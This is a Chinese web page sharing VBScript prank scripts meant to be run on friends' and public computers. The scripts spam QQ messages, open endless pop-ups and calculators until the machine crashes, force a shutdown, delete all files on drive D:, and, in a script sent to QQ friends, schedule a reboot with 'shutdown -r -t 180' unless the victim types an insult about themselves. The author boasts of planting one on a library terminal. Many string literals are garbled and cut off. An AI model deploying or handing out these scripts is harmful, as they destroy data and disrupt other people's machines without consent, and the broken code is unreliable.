内容发布更新时间 : 2024/12/24 22:12:44星期一 下面是文章的全部内容请认真阅读。

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=>

复制代码 代码如下:

On Error Resume Next Dim wsh,ye

set wsh=createobject(\for i=1 to 10

wscript.sleep 700

wsh.AppActivate(\与 xx 聊天中\wsh.sendKeys \wsh.sendKeys i wsh.sendKeys \next

wscript.quit

QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

------------------------------------------------------------------------------ do

msgbox \loop

------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机

------------------------------------------------------------------------------ set wsh=createobject(\do

wsh.run \loop

----------------------------------------------------------------------------- 四、直接关机

----------------------------------------------------------------------------- dim WSHshell

set WSHshell = wscript.createobject(\WSHshell.run \

----------------------------------------------------------------------------- 五、删除D:\\所有文件

--------------------------------------------------------------------------- dim WSHshell

set WSHshell = wscript.createobject(\WSHshell.run \

---------------------------------------------------------------------------- 六、不断弹出窗口

---------------------------------------------------------------------------- 复制代码 代码如下:

while(1)

msgbox \哈哈 你被耍了！\loop

---------------------------------------------------------------------------- 七、不断按下alt+f4 （开什么都关闭……）

--------------------------------------------------------------------------- 复制代码 代码如下:

dim WSHshell

set WSHshell = wscript.createobject(\while(1)

WSHshell.SendKeys \loop

八、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

复制代码 代码如下:

dim s

do until s=500 s=s+1

msgbox \哥们，给我按500次回车吧\loop

'------------------------ ------------------------------------------------------------

九、关不掉的窗口 复制代码 代码如下:

WScript.Echo(\嘿，谢谢你打开我哦，我等你很久拉！\WScript.Echo(\你是可爱的小朋吗?\

WScript.Echo(\哈,我想你拉，这你都不知道吗？\WScript.Echo(\怎么才来，说~是不是不关心我\

WScript.Echo(\哼,我生气拉，等你这么久，心都凉啦。\WScript.Echo(\小强很生气，后果很严重哦。\WScript.Echo(\嘿嘿！你也会很惨滴哦\WScript.Echo(\是不是想清除我？\

WScript.Echo(\那你要点上50下哦，不过会给你惊喜滴\WScript.Echo(\还剩49下，快点点哦\

WScript.Echo(\还剩48下，快点，小笨蛋！\WScript.Echo(\还剩47下对，就这样快点点！\

WScript.Echo(\还剩46下。你啊就是笨，要快哦，我先不打扰你工作。\WScript.Echo(\还剩45下，记得要快哦！\WScript.Echo(\还剩43下\WScript.Echo(\还剩42下\

WScript.Echo(\还剩41下\WScript.Echo(\还剩40下\WScript.Echo(\还剩39下\WScript.Echo(\还剩38下\WScript.Echo(\还剩37下\WScript.Echo(\还剩36下\WScript.Echo(\还剩35下\WScript.Echo(\还剩34下\WScript.Echo(\还剩33下\WScript.Echo(\还剩32下\WScript.Echo(\还剩30下\WScript.Echo(\还剩29下\WScript.Echo(\还剩28下\WScript.Echo(\还剩27下\WScript.Echo(\还剩26下\WScript.Echo(\还剩25下\WScript.Echo(\还剩24下\WScript.Echo(\还剩23下\WScript.Echo(\还剩22下\WScript.Echo(\还剩21下\WScript.Echo(\还剩20下\WScript.Echo(\还剩19下\WScript.Echo(\还剩18下\WScript.Echo(\还剩17下\WScript.Echo(\还剩16下\WScript.Echo(\还剩15下\WScript.Echo(\还剩14下\

WScript.Echo(\还剩13下停停！！！慢点，我有话要说\WScript.Echo(\还剩12下，你继续点我就会消失滴\

WScript.Echo(\还剩11下，以后就看不到我拉。555555\WScript.Echo(\还剩10下，你现在可以选择停止！\WScript.Echo(\还剩9下。你还点啊，不要我拉？\WScript.Echo(\还剩8下，有点伤心拉，干嘛丢弃人家\WScript.Echo(\还剩7下。疯了，你有点负意！\WScript.Echo(\还剩6下。对。你就点吧，我恨你！\WScript.Echo(\还剩5下，不明白，删除我你就好吗？\WScript.Echo(\还剩4下！真要删除我？\

WScript.Echo(\还剩3下。可是我真的很眷恋你。。。\

WScript.Echo(\还剩2下。不要这么绝情嘛，人家是爱你的！\

WScript.Echo(\还剩1下。哼，既然你这么绝情。也别怪我无义！！！\

WScript.Echo(\我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。\

WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\

WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\WScript.Echo(\想结素我么?那你就再多点一次\

两个整人的VBS脚本2009-07-16 18:16

文章录入：7747.Net 责任编辑：7747.Net 564 【字体：小 大】

测试环境：Windows 2003 系统 大家好 我是Vanlisa QQ137841986

今天给大家带来两个整人的VBS脚本 希望大家喜欢 VBS脚本大家都知道吧 第一个是定时关机的

如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的 时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法

我们来看下这个脚本 复制代码 代码如下:

on error resume next dim WSHshellA

set WSHshellA = wscript.createobject(\

WSHshellA.run \说我是猪，不说我是猪就一分钟关机，不信，试下···\dim a

do while(a <> \我是猪\

a = inputbox (\说我是猪,就不关机，快撒，说 \我是猪\ \说不说\

msgbox chr(13) + chr(13) + chr(13) + a,0,\loop

msgbox chr(13) + chr(13) + chr(13) + \早说就行了嘛\dim WSHshell

set WSHshell = wscript.createobject(\WSHshell.run \

msgbox chr(13) + chr(13) + chr(13) + \哈哈哈哈，好乖\

新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了 cmd.exe /c shutdown -r -t 180 -c 这里的数字可以修改关机时间 180秒

这些文字也可以自设 这个脚本启用cmd 里的关机程序